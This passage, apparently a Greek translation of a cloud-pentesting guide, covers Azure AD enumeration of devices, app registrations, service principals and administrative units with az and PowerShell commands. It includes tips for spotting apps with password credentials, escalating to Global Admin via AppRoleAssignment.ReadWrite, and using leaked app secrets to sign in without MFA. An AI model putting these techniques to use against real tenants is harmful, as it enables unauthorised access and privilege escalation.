Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

Εάν μια συσκευή (VM) είναι ενταγμένη στο AzureAD, οι χρήστες από το AzureAD θα μπορούν να συνδεθούν. Επιπλέον, εάν ο συνδεδεμένος χρήστης είναι Κάτοχος της συσκευής, θα είναι τοπικός διαχειριστής.

Εφαρμογές

Οι Εφαρμογές είναι Εγγραφές Εφαρμογών στο portal (όχι Επιχειρησιακές Εφαρμογές). Αλλά κάθε Εγγραφή Εφαρμογής θα δημιουργήσει μια Επιχειρησιακή Εφαρμογή (Υπηρεσιακό Προσωπικό) με το ίδιο όνομα. Επιπλέον, εάν η Εφαρμογή είναι μια πολυ-ενοικιαζόμενη Εφαρμογή, θα δημιουργηθεί μια άλλη Επιχειρησιακή Εφαρμογή (Υπηρεσιακό Προσωπικό) σε εκείνον τον ενοικιαστή με το ίδιο όνομα.

Όταν δημιουργείται μια Εφαρμογή, δίνονται 2 είδη δικαιωμάτων:

  • Δικαιώματα που δίνονται στο Υπηρεσιακό Προσωπικό

  • Δικαιώματα που η εφαρμογή μπορεί να έχει και να χρησιμοποιεί εξ ονόματος του χρήστη.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

Για να εκτελέσετε ενέργειες στο Azure AD χρησιμοποιώντας το Az PowerShell, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:

  1. Εγκαταστήστε το Az PowerShell αν δεν το έχετε ήδη εγκατεστημένο. Μπορείτε να το κάνετε αυτό με την εντολή Install-Module -Name Az -AllowClobber -Scope CurrentUser.

  2. Συνδεθείτε στο Azure AD χρησιμοποιώντας την εντολή Connect-AzAccount.

  3. Εάν έχετε πολλαπλούς λογαριασμούς Azure AD, μπορείτε να επιλέξετε τον σωστό λογαριασμό χρησιμοποιώντας την εντολή Set-AzContext -SubscriptionId <subscriptionId>.

  4. Τώρα μπορείτε να εκτελέσετε ενέργειες στο Azure AD χρησιμοποιώντας τις διαθέσιμες εντολές του Az PowerShell.

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

Μια εφαρμογή με την άδεια AppRoleAssignment.ReadWrite μπορεί να αναβαθμιστεί σε Global Admin δίνοντας στον εαυτό της τον ρόλο. Για περισσότερες πληροφορίες ελέγξτε αυτό.

Ένα μυστικό string που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής. Έτσι, αν βρείτε αυτόν τον κωδικό πρόσβασης μπορείτε να έχετε πρόσβαση ως υπηρεσία αρχής μέσα στο tenant. Σημειώστε ότι αυτός ο κωδικός πρόσβασης είναι ορατός μόνο κατά τη δημιουργία του (μπορείτε να τον αλλάξετε αλλά δεν μπορείτε να τον πάρετε ξανά). Ο ιδιοκτήτης της εφαρμογής μπορεί να προσθέσει έναν κωδικό πρόσβασης σε αυτήν (ώστε να μπορεί να την προσωποποιήσει). Οι συνδεσεις ως αυτές οι υπηρεσίες αρχών δεν επισημαίνονται ως επικίνδυνες και δεν θα έχουν MFA.

Διαφορά Εφαρμογές & (Επιχειρησιακές Εφαρμογές ή Υπηρεσίες Αρχής)

Διαφορά μεταξύ μιας εφαρμογής και μιας Υπηρεσίας Αρχής στο Azure:

  • Εφαρμογή/Εγγραφές Εφαρμογής: Είναι εφαρμογές που υπάρχουν στο Azure AD σας

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Υπηρεσία Αρχής/Επιχειρησιακές Εφαρμογές: Αντικείμενα ασφαλείας στο Azure AD σας που μπορούν να έχουν προνόμια στον Azure Directory και συνδέονται είτε με την εφαρμογή σας είτε με μια εφαρμογή τρίτου

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • Ένας διαχειριστής μπορεί να χρειαστεί να εγκρίνει τα δεδομένα δικαιώματα αν είναι πολύ ευαίσθητα.

Μια εφαρμογή μπορεί να εκτελείται σε έναν τρίτο tenant και αφού αρχίσετε να τη χρησιμοποιείτε και να της δίνετε πρόσβαση, μια Επιχειρησιακή Εφαρμογή/Υπηρεσία Αρχής δημιουργείται στον δικό σας tenant για να της δώσει πρόσβαση στις πληροφορίες που χρειάζεται:

Διαχειριστικές Μονάδες

Χρησιμοποιούνται για καλύτερη διαχείριση των χρηστών.

Οι διαχειριστικές μονάδες περιορίζουν τα δικαιώματα σε έναν ρόλο σε οποιοδήποτε μέρος του οργανισμού σας που ορίζετε. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε διαχειριστικές μονάδες για να αναθέσετε τον ρόλο Διαχειριστής Τεχνικής Υποστήριξης σε περιφερειακούς ειδικούς υποστήριξης, έτσι ώστε να μπορούν να διαχειρίζονται χρήστες μόνο στην περιοχή που υποστηρίζουν.

Συνεπώς, μπορείτε να αναθέσετε ρόλους στη μονάδα διαχείρισης και τα μέλη της θα έχουν αυτούς τους ρόλους.

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Προστασία Ταυτότητας Azure AD (AIP)

Η Προστασία Ταυτότητας Azure AD (AIP) είναι μια υπηρεσία ασφαλείας που χρησιμοποιεί αυτόματη ανίχνευση και αντιμετώπιση για να προστατεύσει τις ταυτότητες χρηστών στο Azure Active Directory από παραβίαση. Η AIP παρακολουθεί συνεχώς και αξιολογεί τον κίνδυνο των συνδέσεων χρηστών και των ρυθμίσεων ταυτότητας, εφαρμόζοντας αυτόματα κατάλληλα μέτρα ασφαλείας, όπως η απαίτηση πολυπαραγόντων ταυτοποίησης ή η αποκλεισμός ενδεχομένως επικίνδυνων δραστηριοτήτων. Αυτό βοηθά τις οργανώσεις να αποτρέψουν παραβιάσεις ασφάλειας που βασίζονται στην ταυτότητα.

Ροή:

  1. Η Προστασία Ταυτότητας Azure AD παρακολουθεί τις δραστηριότητες των χρηστών και συλλέγει δεδομένα σχετικά με τις συνδέσεις των χρηστών, τις εκδηλώσεις πιστοποίησης και άλλες σχετικές δραστηριότητες.

  2. Η υπηρεσία χρησιμοποιεί αλγόριθμους μηχανικής μάθησης για να αναλύσει αυτά τα δεδομένα και να ανιχνεύσει δυνητικούς κινδύνους ασφάλειας.

  3. Η Προστασία Ταυτότητας Azure AD αναθέτει ένα επίπεδο κινδύνου στον κίνδυνο (π.χ. σύνδεση) και δημιουργεί μια ειδοποίηση αν χρειαστεί για να εκτελεστεί κάποια αυτόματη ενέργεια.

Προστασία Κωδικού Πρόσβασης Azure AD (APP)

Η Προστασία Κωδικού Πρόσβασης Azure AD (APP) είναι μια λειτουργία ασφαλείας που βοηθά στην πρόληψη αδύναμων κωδικών πρόσβασης στο Azure Active Directory επιβάλλοντας ισχυρές πολιτικές κωδικού πρόσβασης. Η APP αποκλείει συνηθισμένα αδύναμα κωδικά πρόσβασης και τις παραλλαγές τους, μειώνοντας τον κίνδυνο παραβιάσεων που σχετίζονται με τους κωδικούς πρόσβασης. Μπορεί να εφαρμοστεί τόσο σε επίπεδο cloud όσο και σε εσωτερικό Active Directory, βελτιώνοντας τη συνολική ασφάλεια των κωδικών πρόσβασης στον οργανισμό.

Αναφορές

Last updated